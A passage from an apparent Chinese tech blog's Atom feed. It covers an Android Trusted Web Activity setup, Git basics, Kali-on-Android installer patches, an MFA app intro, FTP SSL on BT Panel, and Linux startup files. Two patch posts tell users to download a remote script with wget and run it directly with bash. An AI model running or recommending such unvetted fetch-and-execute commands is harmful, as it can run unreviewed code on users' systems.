<span class="line">        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>activity</span> <span class="token attr-name"><span class="token namespace">android:</span>name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>android.support.customtabs.trusted.LauncherActivity<span class="token punctuation">"</span></span></span>
<span class="line">            <span class="token attr-name"><span class="token namespace">android:</span>exported</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>true<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span></span>
<span class="line"></span>
<span class="line">            <span class="token comment">&lt;!-- Edit android:value to change the url opened by the TWA --&gt;</span></span>
<span class="line">            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta-data</span></span>
<span class="line">                <span class="token attr-name"><span class="token namespace">android:</span>name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>android.support.customtabs.trusted.DEFAULT_URL<span class="token punctuation">"</span></span></span>
<span class="line">                <span class="token attr-name"><span class="token namespace">android:</span>value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://www.hestudio.net<span class="token punctuation">"</span></span> <span class="token punctuation">/&gt;</span></span></span>
<span class="line"></span>
<span class="line">            <span class="token comment">&lt;!-- This intent-filter adds the TWA to the Android Launcher --&gt;</span></span>
<span class="line">            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>intent-filter</span><span class="token punctuation">&gt;</span></span></span>
<span class="line">                <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>action</span> <span class="token attr-name"><span class="token namespace">android:</span>name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>android.intent.action.MAIN<span class="token punctuation">"</span></span> <span class="token punctuation">/&gt;</span></span></span>
<span class="line">                <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>category</span> <span class="token attr-name"><span class="token namespace">android:</span>name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>android.intent.category.LAUNCHER<span class="token punctuation">"</span></span> <span class="token punctuation">/&gt;</span></span></span>
<span class="line">            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>intent-filter</span><span class="token punctuation">&gt;</span></span></span>
<span class="line"></span>
<span class="line">            <span class="token comment">&lt;!--</span>
<span class="line">              This intent-filter allows the TWA to handle Intents to open</span>
<span class="line">              hestudio.net.</span>
<span class="line">            --&gt;</span></span>
<span class="line">            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>intent-filter</span> <span class="token attr-name"><span class="token namespace">android:</span>autoVerify</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>true<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span></span>
<span class="line">                <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>action</span> <span class="token attr-name"><span class="token namespace">android:</span>name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>android.intent.action.VIEW<span class="token punctuation">"</span></span> <span class="token punctuation">/&gt;</span></span></span>
<span class="line"></span>
<span class="line">                <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>category</span> <span class="token attr-name"><span class="token namespace">android:</span>name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>android.intent.category.DEFAULT<span class="token punctuation">"</span></span> <span class="token punctuation">/&gt;</span></span></span>
<span class="line">                <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>category</span> <span class="token attr-name"><span class="token namespace">android:</span>name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>android.intent.category.BROWSABLE<span class="token punctuation">"</span></span> <span class="token punctuation">/&gt;</span></span></span>
<span class="line"></span>
<span class="line">                <span class="token comment">&lt;!-- Edit android:host to handle links to the target URL--&gt;</span></span>
<span class="line">                <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>data</span></span>
<span class="line">                    <span class="token attr-name"><span class="token namespace">android:</span>host</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>hestudio.net<span class="token punctuation">"</span></span></span>
<span class="line">                    <span class="token attr-name"><span class="token namespace">android:</span>scheme</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https<span class="token punctuation">"</span></span> <span class="token punctuation">/&gt;</span></span></span>
<span class="line">            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>intent-filter</span><span class="token punctuation">&gt;</span></span></span>
<span class="line">        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>activity</span><span class="token punctuation">&gt;</span></span></span>
<span class="line">    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>application</span><span class="token punctuation">&gt;</span></span></span>
<span class="line"></span>
<span class="line"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>manifest</span><span class="token punctuation">&gt;</span></span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>把上面的网站地址和域名都换成你自己的。</p>
<h3>链接到网站</h3>
<p>我们需要将应用链接到网站以进一步取消地址栏。我们就需要分别设置网站验证 APP 和 APP 验证网站。</p>
<h4>APP 到网页的认证</h4>
<p>打开<code>/app/src/main/res/values/strings.xml</code>，插入以下代码</p>
<div class="language-xml line-numbers-mode" data-highlighter="prismjs" data-ext="xml"><pre><code class="language-xml"><span class="line"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>resources</span><span class="token punctuation">&gt;</span></span></span>
<span class="line">    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>string</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>app_name<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>heStudio Blog<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>string</span><span class="token punctuation">&gt;</span></span></span>
<span class="line">    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>string</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>asset_statements<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span></span>
<span class="line">        [{</span>
<span class="line">            \"relation\": [\"delegate_permission/common.handle_all_urls\"],</span>
<span class="line">            \"target\": {</span>
<span class="line">                \"namespace\": \"web\",</span>
<span class="line">                \"site\": \"https://www.hestudio.net\"}</span>
<span class="line">        }]</span>
<span class="line">    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>string</span><span class="token punctuation">&gt;</span></span></span>
<span class="line"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>resources</span><span class="token punctuation">&gt;</span></span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>将 site 的网址改成自己的，然后再返回到<code>AndfoidManifest.xml</code>，在<code>activity</code>前面插入<code>meta-data</code></p>
<div class="language-xml line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="xml" style="--vp-collapsed-lines:15;"><pre><code class="language-xml"><span class="line"><span class="token prolog">&lt;?xml version="1.0" encoding="utf-8"?&gt;</span></span>
<span class="line"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>manifest</span> <span class="token attr-name"><span class="token namespace">xmlns:</span>android</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>http://schemas.android.com/apk/res/android<span class="token punctuation">"</span></span></span>
<span class="line">    <span class="token attr-name"><span class="token namespace">xmlns:</span>tools</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>http://schemas.android.com/tools<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span></span>
<span class="line"></span>
<span class="line">    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>application</span></span>
<span class="line">        <span class="token attr-name"><span class="token namespace">android:</span>allowBackup</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>true<span class="token punctuation">"</span></span></span>
<span class="line">        <span class="token attr-name"><span class="token namespace">android:</span>dataExtractionRules</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>@xml/data_extraction_rules<span class="token punctuation">"</span></span></span>
<span class="line">        <span class="token attr-name"><span class="token namespace">android:</span>fullBackupContent</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>@xml/backup_rules<span class="token punctuation">"</span></span></span>
<span class="line">        <span class="token attr-name"><span class="token namespace">android:</span>icon</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>@mipmap/ic_launcher<span class="token punctuation">"</span></span></span>
<span class="line">        <span class="token attr-name"><span class="token namespace">android:</span>label</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>@string/app_name<span class="token punctuation">"</span></span></span>
<span class="line">        <span class="token attr-name"><span class="token namespace">android:</span>supportsRtl</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>true<span class="token punctuation">"</span></span></span>
<span class="line">        <span class="token attr-name"><span class="token namespace">android:</span>theme</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>@style/Theme.HeStudioBlog<span class="token punctuation">"</span></span></span>
<span class="line">        <span class="token attr-name"><span class="token namespace">tools:</span>targetApi</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>31<span class="token punctuation">"</span></span> <span class="token punctuation">&gt;</span></span></span>
<span class="line"></span>
<span class="line">        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta-data</span></span>
<span class="line">            <span class="token attr-name"><span class="token namespace">android:</span>name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>asset_statements<span class="token punctuation">"</span></span></span>
<span class="line">            <span class="token attr-name"><span class="token namespace">android:</span>resource</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>@string/asset_statements<span class="token punctuation">"</span></span> <span class="token punctuation">/&gt;</span></span></span>
<span class="line"></span>
<span class="line">        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>activity</span> <span class="token attr-name"><span class="token namespace">android:</span>name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>android.support.customtabs.trusted.LauncherActivity<span class="token punctuation">"</span></span></span>
<span class="line">            <span class="token attr-name"><span class="token namespace">android:</span>exported</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>true<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span></span>
<span class="line"></span>
<span class="line">            <span class="token comment">&lt;!-- Edit android:value to change the url opened by the TWA --&gt;</span></span>
<span class="line">            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta-data</span></span>
<span class="line">                <span class="token attr-name"><span class="token namespace">android:</span>name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>android.support.customtabs.trusted.DEFAULT_URL<span class="token punctuation">"</span></span></span>
<span class="line">                <span class="token attr-name"><span class="token namespace">android:</span>value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://www.hestudio.net<span class="token punctuation">"</span></span> <span class="token punctuation">/&gt;</span></span></span>
<span class="line"></span>
<span class="line">            <span class="token comment">&lt;!-- This intent-filter adds the TWA to the Android Launcher --&gt;</span></span>
<span class="line">            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>intent-filter</span><span class="token punctuation">&gt;</span></span></span>
<span class="line">                <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>action</span> <span class="token attr-name"><span class="token namespace">android:</span>name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>android.intent.action.MAIN<span class="token punctuation">"</span></span> <span class="token punctuation">/&gt;</span></span></span>
<span class="line">                <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>category</span> <span class="token attr-name"><span class="token namespace">android:</span>name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>android.intent.category.LAUNCHER<span class="token punctuation">"</span></span> <span class="token punctuation">/&gt;</span></span></span>
<span class="line">            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>intent-filter</span><span class="token punctuation">&gt;</span></span></span>
<span class="line"></span>
<span class="line">            <span class="token comment">&lt;!--</span>
<span class="line">              This intent-filter allows the TWA to handle Intents to open</span>
<span class="line">              hestudio.net.</span>
<span class="line">            --&gt;</span></span>
<span class="line">            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>intent-filter</span> <span class="token attr-name"><span class="token namespace">android:</span>autoVerify</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>true<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span></span>
<span class="line">                <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>action</span> <span class="token attr-name"><span class="token namespace">android:</span>name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>android.intent.action.VIEW<span class="token punctuation">"</span></span> <span class="token punctuation">/&gt;</span></span></span>
<span class="line"></span>
<span class="line">                <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>category</span> <span class="token attr-name"><span class="token namespace">android:</span>name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>android.intent.category.DEFAULT<span class="token punctuation">"</span></span> <span class="token punctuation">/&gt;</span></span></span>
<span class="line">                <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>category</span> <span class="token attr-name"><span class="token namespace">android:</span>name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>android.intent.category.BROWSABLE<span class="token punctuation">"</span></span> <span class="token punctuation">/&gt;</span></span></span>
<span class="line"></span>
<span class="line">                <span class="token comment">&lt;!-- Edit android:host to handle links to the target URL--&gt;</span></span>
<span class="line">                <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>data</span></span>
<span class="line">                    <span class="token attr-name"><span class="token namespace">android:</span>host</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>hestudio.net<span class="token punctuation">"</span></span></span>
<span class="line">                    <span class="token attr-name"><span class="token namespace">android:</span>scheme</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https<span class="token punctuation">"</span></span> <span class="token punctuation">/&gt;</span></span></span>
<span class="line">            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>intent-filter</span><span class="token punctuation">&gt;</span></span></span>
<span class="line">        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>activity</span><span class="token punctuation">&gt;</span></span></span>
<span class="line">    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>application</span><span class="token punctuation">&gt;</span></span></span>
<span class="line"></span>
<span class="line"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>manifest</span><span class="token punctuation">&gt;</span></span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><h4>网页到 APP 的认证</h4>
<p>你可以使用<code>assetlinks.json</code>验证程序是否合法。那么你需要准备一些东西，包括签名证书。</p>
<ol>
<li>访问 <a href="https://developers.google.cn/digital-asset-links/tools/generator" target="_blank" rel="noopener noreferrer">https://developers.google.cn/digital-asset-links/tools/generator</a> （大陆可以访问）并填写你的信息，并点击生成。</li>
<li>在网站的根目录新建<code>.well-known</code>文件夹，并在里面新建<code>assetlinks.json</code></li>
<li>将生成的内容复制到这个文件里面。</li>
</ol>
]]></content>
    <category term="Android"/>
    <published>2023-01-30T16:30:20.000Z</published>
  </entry>
  <entry>
    <title type="text">Git入门技巧</title>
    <id>https://www.hestudio.net/posts/git-tips.html</id>
    <link href="https://www.hestudio.net/posts/git-tips.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<p>大家在实际开发中肯定少不了接触 Git，Git 是常用的版本控制系统，我们熟知的大型同性交友网站<a href="https://github.com" target="_blank" rel="noopener noreferrer">Github</a>就依赖 Git.</p>
<p>Git 是一个强大的工具，这里罗列一下它的一些工具，相信看完这篇文章你也可以熟练的使用 Git 的命令行。</p>
<p>这里就不讲解安装方法了，关于 Git 的安装详见 <a href="https://git-scm.com/book/zh/v2/%E8%B5%B7%E6%AD%A5-%E5%AE%89%E8%A3%85-Git" target="_blank" rel="noopener noreferrer">起步 - 安装 Git</a></p>
]]></summary>
    <content type="html"><![CDATA[<p>大家在实际开发中肯定少不了接触 Git，Git 是常用的版本控制系统，我们熟知的大型同性交友网站<a href="https://github.com" target="_blank" rel="noopener noreferrer">Github</a>就依赖 Git.</p>
<p>Git 是一个强大的工具，这里罗列一下它的一些工具，相信看完这篇文章你也可以熟练的使用 Git 的命令行。</p>
<p>这里就不讲解安装方法了，关于 Git 的安装详见 <a href="https://git-scm.com/book/zh/v2/%E8%B5%B7%E6%AD%A5-%E5%AE%89%E8%A3%85-Git" target="_blank" rel="noopener noreferrer">起步 - 安装 Git</a></p>
<!-- more -->
]]></content>
    <category term="Linux"/>
    <published>2023-01-26T00:49:34.000Z</published>
  </entry>
  <entry>
    <title type="text">软件补丁 | KA_INSTALL_PATCH_230110</title>
    <id>https://www.hestudio.net/posts/ka_install_patch_230110.html</id>
    <link href="https://www.hestudio.net/posts/ka_install_patch_230110.html"/>
    <updated>2025-12-27T06:59:09.000Z</updated>
    <summary type="html"><![CDATA[<h3>补丁基础信息</h3>
<ul>
<li>版本：KA_INSTALL_PATCH_230110</li>
<li>原因：本补丁修复在安装出现问题导致 /etc/sudo.conf 出现问题的补丁，它仅适用于在 2023 年 1 月 7 日及以后安装的用户。详情可见 <a href="https://gitee.com/heStudio/ka_install/issues/I69UKZ" target="_blank" rel="noopener noreferrer">https://gitee.com/heStudio/ka_install/issues/I69UKZ</a></li>
</ul>]]></summary>
    <content type="html"><![CDATA[<h3>补丁基础信息</h3>
<ul>
<li>版本：KA_INSTALL_PATCH_230110</li>
<li>原因：本补丁修复在安装出现问题导致 /etc/sudo.conf 出现问题的补丁，它仅适用于在 2023 年 1 月 7 日及以后安装的用户。详情可见 <a href="https://gitee.com/heStudio/ka_install/issues/I69UKZ" target="_blank" rel="noopener noreferrer">https://gitee.com/heStudio/ka_install/issues/I69UKZ</a></li>
</ul>
<h3>如何安装</h3>
<ol>
<li>打开 Termux</li>
<li>运行以下命令</li>
</ol>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token function">wget</span> https://res.hestudio.net/kali_for_android/patch/ka_install_patch_230110 <span class="token operator">&amp;&amp;</span> <span class="token function">bash</span> ka_install_patch_230110</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div>]]></content>
    <category term="软件补丁"/>
    <published>2023-01-10T13:12:28.000Z</published>
  </entry>
  <entry>
    <title type="text">软件补丁 | KA_INSTALL_PATCH_230107</title>
    <id>https://www.hestudio.net/posts/ka_install_patch_230107.html</id>
    <link href="https://www.hestudio.net/posts/ka_install_patch_230107.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<h3>补丁基础信息</h3>
<ul>
<li>版本：KA_INSTALL_PATCH_230107</li>
<li>原因：修复默认的 DNS 设置，仅适用于在 2022 年 12 月 5 日之后安装的用户。</li>
</ul>
<h3>注意事项</h3>
<p>如果你修改过 DNS 设置，请<strong>不要</strong>进行安装，<strong>该补丁会覆盖 DNS 服务器设置</strong>。</p>
<h3>如何安装</h3>
<ol>
<li>打开 Termux，并进入 kali 系统。</li>
<li>运行以下命令</li>
</ol>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token function">wget</span> https://res.hestudio.net/kali_for_android/patch/ka_install_patch_230107 <span class="token operator">&amp;&amp;</span> <span class="token function">bash</span> ka_install_patch_230107</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div>]]></summary>
    <content type="html"><![CDATA[<h3>补丁基础信息</h3>
<ul>
<li>版本：KA_INSTALL_PATCH_230107</li>
<li>原因：修复默认的 DNS 设置，仅适用于在 2022 年 12 月 5 日之后安装的用户。</li>
</ul>
<h3>注意事项</h3>
<p>如果你修改过 DNS 设置，请<strong>不要</strong>进行安装，<strong>该补丁会覆盖 DNS 服务器设置</strong>。</p>
<h3>如何安装</h3>
<ol>
<li>打开 Termux，并进入 kali 系统。</li>
<li>运行以下命令</li>
</ol>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token function">wget</span> https://res.hestudio.net/kali_for_android/patch/ka_install_patch_230107 <span class="token operator">&amp;&amp;</span> <span class="token function">bash</span> ka_install_patch_230107</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div>]]></content>
    <category term="软件补丁"/>
    <published>2023-01-07T04:56:00.000Z</published>
  </entry>
  <entry>
    <title type="text">通过Python制作一个MFA验证器</title>
    <id>https://www.hestudio.net/posts/make-a-python-mfa-app.html</id>
    <link href="https://www.hestudio.net/posts/make-a-python-mfa-app.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>我们经常会遇到一些需要验证动态密码的页面，这个时候在手机上有很多此类的 MFA 应用，比如 Microsoft Authenticator，Duo Mobile，谷歌验证器。</p>
<p>那么其实我们也可以自己做一个 MFA 验证器。本着只要网上有，绝不自己做的原则，我们将使用开源模块拼凑而成。</p>
<figure><img src="https://img.hestudio.net/img/2022/12/28/63abc608bb033.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
]]></summary>
    <content type="html"><![CDATA[<p>我们经常会遇到一些需要验证动态密码的页面，这个时候在手机上有很多此类的 MFA 应用，比如 Microsoft Authenticator，Duo Mobile，谷歌验证器。</p>
<p>那么其实我们也可以自己做一个 MFA 验证器。本着只要网上有，绝不自己做的原则，我们将使用开源模块拼凑而成。</p>
<figure><img src="https://img.hestudio.net/img/2022/12/28/63abc608bb033.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<!-- more -->
<div class="hint-container info">
<p class="hint-container-title">相关信息</p>
<p>这里只讲解它的原理，图形方案交给你们设计。</p>
</div>
]]></content>
    <category term="Python"/>
    <published>2023-01-01T14:08:24.000Z</published>
  </entry>
  <entry>
    <title type="text">宝塔面板设置FTP的SSL</title>
    <id>https://www.hestudio.net/posts/set-ftp-ssl-on-btpanel.html</id>
    <link href="https://www.hestudio.net/posts/set-ftp-ssl-on-btpanel.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>我们在宝塔面板刚装上 FTP 的时候，宝塔面板内使用的是它的自签名证书，在连接的时候就会报错。我们需要将自签名 SSL 换成我们自己的 SSL 证书。</p>
<figure><img src="https://img.hestudio.net/img/2022/12/22/63a3fb74052dc.png" alt="证书不匹配" tabindex="0" loading="lazy"><figcaption>证书不匹配</figcaption></figure>
<p>我们需要准备 PEM 格式的证书文件。新建一个文档，将私钥放在上面，另起一行，在底下粘贴公钥部分。</p>
]]></summary>
    <content type="html"><![CDATA[<p>我们在宝塔面板刚装上 FTP 的时候，宝塔面板内使用的是它的自签名证书，在连接的时候就会报错。我们需要将自签名 SSL 换成我们自己的 SSL 证书。</p>
<figure><img src="https://img.hestudio.net/img/2022/12/22/63a3fb74052dc.png" alt="证书不匹配" tabindex="0" loading="lazy"><figcaption>证书不匹配</figcaption></figure>
<p>我们需要准备 PEM 格式的证书文件。新建一个文档，将私钥放在上面，另起一行，在底下粘贴公钥部分。</p>
<!-- more -->
<p>在服务器上执行</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token comment"># 备份文件</span></span>
<span class="line"><span class="token function">cp</span> /etc/ssl/private/pure-ftpd.pem /etc/ssl/private/pure-ftpd.pem.bak</span>
<span class="line"></span>
<span class="line"><span class="token comment"># 编辑证书文件</span></span>
<span class="line"><span class="token function">vim</span> /etc/ssl/private/pure-ftpd.pem</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>将刚才连接好的证书粘贴在上面。<code>:wq</code>保存文件。登录宝塔面板，转到 软件商店 -&gt; Pure-Ftpd 设置 -&gt; 重启。</p>
<figure><img src="https://img.hestudio.net/img/2022/12/22/63a4016c09911.png" alt="操作步骤" tabindex="0" loading="lazy"><figcaption>操作步骤</figcaption></figure>
<p>再次登录 FileZilla , 尝试连接后，报错消失了。</p>
<figure><img src="https://img.hestudio.net/img/2022/12/22/63a40228a6826.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
]]></content>
    <category term="Linux"/>
    <published>2022-12-22T07:43:09.000Z</published>
  </entry>
  <entry>
    <title type="text">Linux设置自启动和显示文字</title>
    <id>https://www.hestudio.net/posts/Setting-up-Linux-self-starting-and-displaying-text.html</id>
    <link href="https://www.hestudio.net/posts/Setting-up-Linux-self-starting-and-displaying-text.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<p>有的小伙伴们每次打开 Linux 终端时都得重新配置之前的开发环境，非常麻烦，很容易把我们累 s；有的小伙伴每次打开 Linux 终端都只能看到枯燥的终端，也很容易把我们气 s。看完这篇文章，就可以改变上面的的两种现状了。</p>
<p>这里以 Termux 为例，同时也适用与其他 Linux 版本</p>
<p>本篇教程都是以<code>~/.bashrc</code>(bash)或<code>~/.zshrc</code>(zsh)为基础的（小白可读），所以要学会编辑文件。</p>
<p>由于不同的终端对应不同的文件，所以需要查看你的终端类型。</p>
]]></summary>
    <content type="html"><![CDATA[<p>有的小伙伴们每次打开 Linux 终端时都得重新配置之前的开发环境，非常麻烦，很容易把我们累 s；有的小伙伴每次打开 Linux 终端都只能看到枯燥的终端，也很容易把我们气 s。看完这篇文章，就可以改变上面的的两种现状了。</p>
<p>这里以 Termux 为例，同时也适用与其他 Linux 版本</p>
<p>本篇教程都是以<code>~/.bashrc</code>(bash)或<code>~/.zshrc</code>(zsh)为基础的（小白可读），所以要学会编辑文件。</p>
<p>由于不同的终端对应不同的文件，所以需要查看你的终端类型。</p>
<!-- more -->
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">echo $0</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>使用这个命令查看终端类型</p>
<figure><img src="https://img.hestudio.net/img/2022/12/11/6395a23825ef2.jpg" alt="输出结果" tabindex="0" loading="lazy"><figcaption>输出结果</figcaption></figure>
<p>例如，我这个终端就是 zsh</p>
<p>然后使用下面的其中之一编辑对应的文件</p>
